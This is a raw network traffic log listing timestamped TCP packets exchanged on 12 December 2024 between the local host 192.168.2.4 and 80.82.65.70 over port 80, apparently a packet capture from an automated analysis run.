Dec 12, 2024 20:37:06.202579975 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.202622890 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.203344107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.203555107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.203605890 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.204380035 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.204430103 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.204574108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.204615116 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.205332041 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.205493927 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.205544949 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.206381083 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.206433058 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.206602097 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.206665039 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.207253933 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.207303047 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.207475901 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.207520008 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.208246946 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.208308935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.208583117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.208633900 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.209237099 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.209297895 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.209391117 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.209444046 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.210199118 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.210243940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.210422993 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.210506916 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.211139917 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.211185932 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.211328983 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.211441040 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.212112904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.212155104 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.212304115 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.212347031 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.213083982 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.213222980 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.213279963 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.213340998 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.214153051 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.214210987 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.214298964 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.214361906 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.215025902 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.215127945 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.215230942 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.215291023 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.216161013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.216245890 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.216365099 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.216419935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.216993093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.217416048 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.217477083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.217969894 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.218014956 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.218194008 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.218245029 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.218980074 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.219142914 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.219192982 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.219949007 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.220005035 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.220154047 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.220210075 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.220985889 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.221043110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.221180916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.221234083 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.221924067 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.221980095 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.222177982 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.222230911 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.222799063 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.222865105 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.222969055 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.223018885 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.321870089 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.321990967 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.322031975 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.322110891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.322380066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.322441101 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.322762012 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.322818995 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.323296070 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.323354006 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.323465109 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.323520899 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.324441910 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.324500084 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.324620962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.324695110 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.325393915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.325448990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.325536013 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.325587988 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.326282978 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.326338053 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.326457024 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.326508999 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.327203989 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.327361107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.327418089 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.327467918 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.328185081 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.328238964 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.328321934 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.328370094 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.329256058 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.329301119 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.329406977 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.329452038 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.330080032 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.330215931 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.330291986 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.330362082 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.331221104 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.331283092 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.331418037 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.331460953 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.332065105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.332104921 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.332209110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.332303047 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.333075047 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.333116055 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.333265066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.333316088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.333957911 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.334003925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.334163904 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.334249973 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.334980965 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.335020065 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.335207939 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.335258007 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.336139917 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.336234093 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.336361885 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.336405993 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.336965084 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.337007999 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.337179899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.337222099 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.337862968 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.338076115 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.338124990 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.339107037 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.339497089 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.339545965 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.340167046 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.340212107 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.340507984 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.340552092 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.341209888 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.341250896 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.341583014 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.341622114 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.341922045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.341962099 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.342299938 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.342381001 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.342839003 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.342885017 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.343122005 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.343161106 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.343837976 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.344034910 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.344082117 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.344696045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.344814062 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.344901085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.344943047 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.345680952 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.345720053 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.345870018 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.345909119 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.346654892 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.346765995 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.346808910 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.346854925 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.390572071 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.390683889 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.390887976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.391060114 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.391098976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.391114950 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.391438961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.391486883 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.391715050 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.391763926 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.391957998 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.392004013 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.392704964 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.392751932 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.392971039 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.393017054 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.393629074 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.393677950 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.393826962 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.393873930 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.394608974 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.394659996 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.394861937 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.395351887 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.395600080 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.395646095 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.395792961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.395838976 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.396517038 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.396562099 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.396711111 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.396763086 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.397502899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.397556067 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.397751093 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.397799015 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.398504019 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.398552895 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.398688078 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.398864031 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.399461985 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.399682045 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.399729967 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.400423050 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.400473118 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.400674105 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.400767088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.401478052 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.401531935 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.401716948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.401777983 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.402374983 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.402430058 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.402570009 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.402616024 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.403342009 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.403454065 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.403531075 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.403630018 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.404316902 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.404372931 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.404503107 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.404576063 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.405495882 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.405543089 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.405622005 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.405670881 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.406276941 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.406344891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.406439066 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.406490088 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.407284975 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.407449961 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.407512903 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.408193111 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.408247948 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.408375025 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.408428907 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.409183979 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.409276962 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.409370899 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.409429073 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.410182953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.410229921 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.410332918 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.410383940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.411171913 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.411230087 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.411364079 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.411428928 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.412065029 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.412126064 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.412401915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.412498951 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.413048983 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.413141012 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.413237095 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.413316965 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.414011955 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.414069891 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.414239883 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.414669037 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.414992094 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.415041924 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.415199995 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.415251970 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.513724089 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.513824940 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.513912916 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.513962030 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.514009953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.514064074 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.514374971 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.514429092 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.514969110 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.515114069 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.515209913 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.515264034 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.515923023 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.515980959 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.516103983 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.517036915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.517102957 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.517117023 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.517163038 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.517844915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.517891884 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.518038034 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.518084049 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.518837929 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.519033909 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.519083977 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.519799948 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.519865036 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.520023108 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.520793915 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.520852089 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.521143913 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.521265984 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.521785975 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.521914959 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.522104025 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.522164106 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.522710085 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.522768974 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.522922039 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.523004055 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.523700953 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.523755074 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.523936033 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.524122953 CET	49738	80	192.168.2.4	80.82.65.70
Dec 12, 2024 20:37:06.524648905 CET	80	49738	80.82.65.70	192.168.2.4
Dec 12, 2024 20:37:06.524708986 CET	49738	80	192.168.2.4	80.82.65.70
